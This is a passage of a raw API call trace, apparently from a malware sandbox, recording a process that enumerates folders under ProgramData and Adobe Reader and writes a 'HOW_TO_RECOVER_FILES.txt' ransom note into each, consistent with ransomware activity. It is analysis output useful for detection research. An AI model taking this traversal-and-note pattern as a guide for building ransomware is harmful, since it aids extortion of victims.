dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0123.588] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.588] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c4e960, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c4e960, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55c4e960, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x93d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0123.588] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c74bbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c74bbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55c74bbc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1018, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 1 [0123.588] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c9ae14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c9ae14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55c9ae14, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1939, dwReserved0=0x0, dwReserved1=0x0, cFileName="2__Power_Policy.provxml", cAlternateFileName="2__POW~1.PRO")) returned 1 [0123.588] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55cc1070, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1939, dwReserved0=0x0, dwReserved1=0x0, cFileName="3__Power_Policy.provxml", cAlternateFileName="3__POW~1.PRO")) returned 1 [0123.589] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55cc1070, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="4__Power_Policy.provxml", cAlternateFileName="4__POW~1.PRO")) returned 1 [0123.589] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cc1070, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55cc1070, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55cc1070, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="5__Power_Policy.provxml", cAlternateFileName="5__POW~1.PRO")) returned 1 [0123.589] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x93f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6__Power_Policy.provxml", cAlternateFileName="6__POW~1.PRO")) returned 1 [0123.589] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x93f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6__Power_Policy.provxml", cAlternateFileName="6__POW~1.PRO")) returned 0 [0123.589] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0123.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0123.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0123.590] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffecb80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0123.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed0a0) returned 1 [0123.590] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e8 [0123.592] GetFileType (hFile=0x6e8) returned 0x1 [0123.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed010) returned 1 [0123.592] GetFileType (hFile=0x6e8) returned 0x1 [0123.593] WriteFile (in: hFile=0x6e8, lpBuffer=0x352c3f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffed168, lpOverlapped=0x0 | out: lpBuffer=0x352c3f0*, lpNumberOfBytesWritten=0x1ffed168*=0x5d0, lpOverlapped=0x0) returned 1 [0123.593] CloseHandle (hObject=0x6e8) returned 1 [0123.594] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffed5b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0123.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedad0) returned 1 [0123.594] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e8 [0123.594] GetFileType (hFile=0x6e8) returned 0x1 [0123.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda40) returned 1 [0123.594] GetFileType (hFile=0x6e8) returned 0x1 [0123.595] WriteFile (in: hFile=0x6e8, lpBuffer=0x352fce8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffedb98, lpOverlapped=0x0 | out: lpBuffer=0x352fce8*, lpNumberOfBytesWritten=0x1ffedb98*=0x5d0, lpOverlapped=0x0) returned 1 [0123.595] CloseHandle (hObject=0x6e8) returned 1 [0123.596] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffedfe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0123.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee500) returned 1 [0123.596] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e8 [0123.596] GetFileType (hFile=0x6e8) returned 0x1 [0123.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee470) returned 1 [0123.597] GetFileType (hFile=0x6e8) returned 0x1 [0123.597] WriteFile (in: hFile=0x6e8, lpBuffer=0x35337c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffee5c8, lpOverlapped=0x0 | out: lpBuffer=0x35337c0*, lpNumberOfBytesWritten=0x1ffee5c8*=0x5d0, lpOverlapped=0x0) returned 1 [0123.598] CloseHandle (hObject=0x6e8) returned 1 [0123.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee590) returned 1 [0123.599] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js", nBufferLength=0x105, lpBuffer=0x1ffee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js", lpFilePart=0x0) returned 0x56 [0123.599] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\*", lpFindFileData=0x1ffee2b0 | out: lpFindFileData=0x1ffee2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0123.601] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.601] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app", cAlternateFileName="")) returned 1 [0123.601] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1 [0123.601] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1 [0123.601] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0123.602] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1 [0123.602] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0123.602] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0123.602] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1 [0123.602] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0123.602] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15fa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rna-main.js", cAlternateFileName="")) returned 1 [0123.602] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 1 [0123.603] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 0 [0123.603] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0123.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee4d0) returned 1 [0123.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee490) returned 1 [0123.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee590) returned 1 [0123.603] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js", nBufferLength=0x105, lpBuffer=0x1ffee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js", lpFilePart=0x0) returned 0x56 [0123.603] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\*", lpFindFileData=0x1ffee2b0 | out: lpFindFileData=0x1ffee2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0123.604] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.604] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app", cAlternateFileName="")) returned 1 [0123.604] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1 [0123.605] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1 [0123.605] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0123.605] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1 [0123.605] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0123.605] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0123.605] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1 [0123.605] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0123.605] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15fa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rna-main.js", cAlternateFileName="")) returned 1 [0123.606] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, 